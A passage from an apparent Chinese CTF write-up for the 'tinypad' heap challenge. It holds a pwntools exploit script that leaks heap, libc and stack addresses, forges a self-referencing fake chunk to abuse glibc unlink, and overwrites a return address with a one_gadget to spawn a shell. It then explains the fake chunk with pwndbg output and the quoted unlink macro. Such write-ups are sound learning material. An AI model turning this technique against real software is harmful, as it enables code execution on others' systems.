    sla('(INDEX)>>> ',str(idx))
    ru('CONTENT: ')
    tmp = rl()[:-1]
    sla('(CONTENT)>>> ',tmp)
    sla('(Y/n)>>> ','Y')
    return tmp


def exit():
    cmd('Q')
    #......

def dele(idx):
    cmd('D')
    sla('(INDEX)>>> ',str(idx))
    #......

# ==================
add(0xe8,'a')
add(0xf8,'b')
add(0xf8,'c')
add(0xf8,'d')

dele(3)
dele(1)

ru('INDEX: 1')
ru('CONTENT: ')
heap_leak = rl()[:-1]

ru('INDEX: 3')
ru('CONTENT: ')
libc_leak = rl()[:-1]


heap_addr = unpack(heap_leak,'all') & 0xfffff000
libc.address = unpack(libc_leak,'all') -0x3c4b78
log.info(f'heap addr => {hex(heap_addr)}')
log.info(f'libc addr => {hex(libc.address)}')

dele(4)

tinypad = 0x0000000000602040
prev_size = heap_addr + 0xf0 - tinypad 

add(0xe8,flat({
    0xe0:pack(prev_size) 
},length=0x110))


edit(1,flat({
    0x00:pack(0x0) + pack(prev_size+1),
    0x10:pack(tinypad)*4    # fd bk fd_nextsize bk_nextsize
}))


dele(2)


add(0xe8,'a'*20)
#add(0xd8,b'b'*8+pack(libc.address + 0x197180))
add(0xd8,b'b'*8+pack(libc.sym.__environ))
ru('INDEX: 1')
ru('CONTENT: ')
environ_leak = rl()[:-1]
environ_addr = unpack(environ_leak,'all')
log,info(f"environ addr => {hex(environ_addr)}")
# 收获:libc的__environ变量泄露栈地址

retaddr = environ_addr - 0xf0
edit(3,b'\xf8'*8 + pack(retaddr))

# use one gadgets
edit(1,pack(libc.address + one_gadgets[2]))
print(one_gadgets)
exit()
ia()

为什么fake chunk需要填充4遍自身地址?

pwndbg> dq 0x602040 100
0000000000602040     0000000000000000 00000000011d3fc1
0000000000602050     0000000000602040 0000000000602040
0000000000602060     0000000000602040 0000000000602040

unlink宏如下:如果chunk大小太大,会检查fd_nextsize和bk_nextsize字段,所以也需要伪造

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD)                                                                                                       \
    {                                                                                                                               \
        FD = P->fd;                                                                                                                 \
        BK = P->bk;                                                                                                                 \
        if (__builtin_expect(FD->bk != P || BK->fd != P, 0))                                                                        \
            malloc_printerr(check_action, "corrupted double-linked list", P, AV);                                                   \
        else                                                                                                                        \
        {                                                                                                                           \
            FD->bk = BK;                                                                                                            \
            BK->fd = FD;                                                                                                            \
            if (!in_smallbin_range(P->size) && __builtin_expect(P->fd_nextsize != NULL, 0))                                         \
            {                                                                                                                       \
                if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect(P->bk_nextsize->fd_nextsize != P, 0)) \
                    malloc_printerr(check_action,                                                                                   \
                                    "corrupted double-linked list (not small)",                                                     \
                                    P, AV);                                                                                         \
                if (FD->fd_nextsize == NULL)                                                                                        \
                {                                                                                                                   \
                    if (P->fd_nextsize == P)                                                                                        \
                        FD->fd_nextsize = FD->bk_nextsize = FD;                                                                     \
                    else                                                                                                            \
                    {                                                                                                               \
                        FD->fd_nextsize = P->fd_nextsize;                                                                           \
                        FD->bk_nextsize = P->bk_nextsize;                                                                           \
                        P->fd_nextsize->bk_nextsize = FD;                                                                           \
                        P->bk_nextsize->fd_nextsize = FD;                                                                           \
                    }                                                                                                               \
                }                                                                                                                   \
                else                                                                                                                \
                {                                                                                                                   \
                    P->fd_nextsize->bk_nextsize = P->bk_nextsize;                                                                   \
                    P->bk_nextsize->fd_nextsize = P->fd_nextsize;                                                                   \
                }                                                                                                                   \
            }                                                                                                                       \
        }                                                                                                                           \
    }

参考资料


评论